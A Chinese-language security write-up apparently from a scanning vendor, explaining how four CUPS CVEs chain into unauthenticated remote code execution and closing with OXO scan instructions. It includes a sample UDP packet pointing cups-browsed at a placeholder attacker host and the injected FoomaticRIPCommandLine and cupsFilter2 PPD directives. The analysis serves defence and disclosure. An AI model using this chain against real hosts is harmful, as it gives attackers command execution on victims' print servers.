评估 CUPS 漏洞的大规模暴露情况:可串联实现远程代码执行的多个 CVE
本文评估了系统在影响 CUPS 打印服务的多个 CVE 面前的大规模暴露情况,这些漏洞可以串联起来,实现无需身份验证的远程代码执行(RCE)。我们概述了包括 CVE-2024-47176 在内的这些漏洞如何协同作用,并逐步讲解漏洞利用流程。此外,我们还分析了可能受影响的系统数量,并重点介绍了测试过程中观察到的一种特殊行为。
引言
通用 UNIX 打印系统(CUPS)是一种广泛使用的打印系统,使联网计算机能够顺畅地管理打印作业和打印机。最近,研究员 Simone Margaritelli 开展了一项出色的研究,发现了多个 CVE,并成功将它们串联起来,在目标系统上实现了无需身份验证的远程代码执行(RCE)。您可以在 Simone Margaritelli 的文章中进一步了解这项研究。
在本文中,我们将拆解漏洞利用的工作流程,并分析特定目标样本中存在漏洞的系统所占的百分比。
技术细节
在 CUPS 中实现 RCE:
本节将概述实现远程代码执行(RCE)的各个步骤,并解释不同的 CVE 如何在其中发挥作用。
-
CVE-2024-47176:起点——
cups-browsed与BrowseSocket:攻击始于
cups-browsed服务,该服务负责发现网络上的打印机,并自动将它们添加到系统中。该服务创建了一个名为
BrowseSocket的套接字,在INADDR_ANY:631 UDP上监听包含打印机信息的传入数据包。
下一步是确定
BrowseSocket在何处被使用。经过调查,函数process_browse_data浮现为关键位置。process_browse_data()负责从BrowseSocket读取数据包。它期望传入的数据遵循特定格式:HEX_NUMBER HEX_NUMBER TEXT_DATA在接收到数据包后,该函数会检查源 IP 地址是否被允许发送数据。这通过allowed()函数完成,它会对照位于/etc/cups/cups-browsed.conf的配置文件来校验 IP 地址。该文件定义了哪些主机被允许连接和发送数据。
然而事实证明,虽然您可以通过编辑 /etc/cups/cups-browsed.conf 配置文件来设置谁可以、谁不可以连接,但在大多数系统上,默认配置是完全被注释掉的。这意味着,除非管理员明确限制访问,否则系统会对任意 IP 地址的连接敞开大门。结果,
allowed()检查将始终通过,使系统面临来自任意来源的潜在利用风险。一旦源 IP 检查通过,数据包就会被解析,其中两个字段会被传递给
found_cups_printer()函数做进一步处理。 -
CVE-2024-47076:恶意 URI 注入与利用:
从数据包中解析出的两个字段之一是打印机的 URI。

追踪该参数如何被使用并在不同函数之间传递:
从
found_cups_printer开始,URI 被传递给examine_discovered_printer_record()函数,该函数又会将其传递给create_remote_printer_entry()。这一系列函数调用最终会到达libcupsfilters库中的cfGetPrinterAttributes()。
cfGetPrinterAttributes()函数负责向提供的打印机 URI 发起 HTTP 请求,以获取打印机的详细信息。
此时,恶意行为者可以向 631 端口发送一个经过特制的 UDP 数据包,其中嵌入恶意 URI,例如:
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever该数据包将绕过薄弱的校验,导致
cups-browsed回连到攻击者控制的 URL。
-
CVE-2024-47175:攻击者的恶意 IPP 属性与 PPD 文件创建:
当攻击者的服务器返回包含特制 IPP 属性的响应(这些属性被设计成模仿合法打印机的能力)后,
cups-browsed会处理这些属性。它通过调用create_queue()函数来完成,后者又会调用libppd库中的ppdCreatePPDFromIPP2()API。该 API 负责创建一个临时的 PPD(PostScript 打印机描述)文件,并将接收到的属性存储其中。PostScript 打印机描述文件是由打印机厂商提供的文本文件,用于描述某个特定 PostScript 打印机可用的全部功能与能力。这些文件具有多重作用:
- 它们定义了如何为打印作业调用各项功能,包括打印机支持的分辨率、纸张尺寸以及特殊功能(例如双面打印)。
- PPD 充当 PostScript 打印机的驱动程序,为 CUPS 系统提供一种标准化的方式来与不同的打印机交互,无论其制造商为何。
- PPD 还包含用于为打印作业调用各项功能的 PostScript 代码(命令)。


ppdCreatePPDFromIPP2()函数将攻击者控制的 IPP 属性未经任何净化就直接写入 PPD 文件。
-
CVE-2024-47177:利用 CUPS Filter:
既然我们能够设置保存在 PPD 文件中的属性,就可以指示 CUPS 在处理打印作业时执行某些命令。
CUPS 通过这些属性支持多种指令,其中可被利用的一个是
cupsFilter2。filter(过滤器)是位于
/usr/lib/cups/filter目录下的可执行文件。CUPS 将过滤器的执行限制在该目录内——这意味着您不能随意指定任意二进制文件。当打印作业被发送到打印机时,这些过滤器会被执行,通常用于在打印机本身不支持文档格式时进行文档转换。鉴于对可执行二进制文件的这一限制,目标是利用某个现有过滤器来执行任意命令。
利用
foomatic-rip过滤器:对攻击者来说幸运的是,有一个过滤器——
foomatic-rip——仍然存在一个旧的命令执行缺陷CVE-2011-2964和CVE-2011-2697。该过滤器接受 PPD 文件中的FoomaticRIPCommandLine指令,允许通过它执行任意命令。通过利用该漏洞,攻击者可以将
FoomaticRIPCommandLine指令注入 PPD 文件,从而导致 CUPS 在打印作业处理过程中执行任意命令。要实施该攻击,需要以下步骤:
- 迫使目标机器连接到恶意 IPP 服务器:第一步是让目标机器与您控制的流氓 IPP 服务器进行通信。
- 返回恶意的 IPP 属性字符串:
- 注入一个
printer-privacy-policy-uri属性,附带一个伪造的策略 URL,例如"https://www.example.com/",后面跟一个换行符以终止该字符串。 - 添加一个指令
FoomaticRIPCommandLine: "COMMAND",以在目标机器上执行命令。 - 包含一个
cupsFilter2指令:"application/pdf application/vnd.cups-postscript 0 foomatic-rip",它确保在发送打印作业时触发foomatic-rip过滤器连同注入的命令一起执行。
- 注入一个
- 触发执行:一旦向该恶意打印机发送打印作业,注入的 PPD 指令就会被执行,从而完成攻击。
CUPS 漏洞大规模评估:检测与分析:
在进行大规模评估之前,我们最初打算通过 CUPS 服务的 UDP 端口(具体是 BrowseSocket 所打开的端口)来对其进行指纹识别。该套接字在 INADDR_ANY:631 UDP 上监听,我们认为可以通过向该端口发送请求来识别运行 CUPS 的系统。然而,在测试过程中——无论是手动还是使用 Nmap 之类的工具——我们都未能从 CUPS 服务器获得响应。
为了查明为何收不到任何响应,我们检查了 CUPS 源代码,重点关注向客户端回送数据的函数。在此过程中,我们识别出了用于发送响应的 sendto 函数。
我们查找了负责发送响应的 sendto 函数。

broadcast_browse_packets 函数中被使用,而该函数由 send_browse_data 调用。

send_browse_data 在主函数中被调用,但只有在满足特定条件时才会发生:if (BrowseLocalProtocols & BROWSE_CUPS)。

BrowseLocalProtocols 的默认值时,我们发现它被设置为 none,这意味着该条件永远不会被满足。这解释了为什么我们的 UDP 指纹识别尝试没有收到任何响应。


使用 OXO 测试该漏洞
如果您担心自己的实例可能存在漏洞,请按照以下步骤使用 OXO 工具运行测试:
通过 pip 安装 OXO:
pip install -U ostorlab
从 OXO agent 商店安装 asteroid agent:
oxo agent install agent/ostorlab/asteroid
使用 asteroid agent 运行扫描,命令如下:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET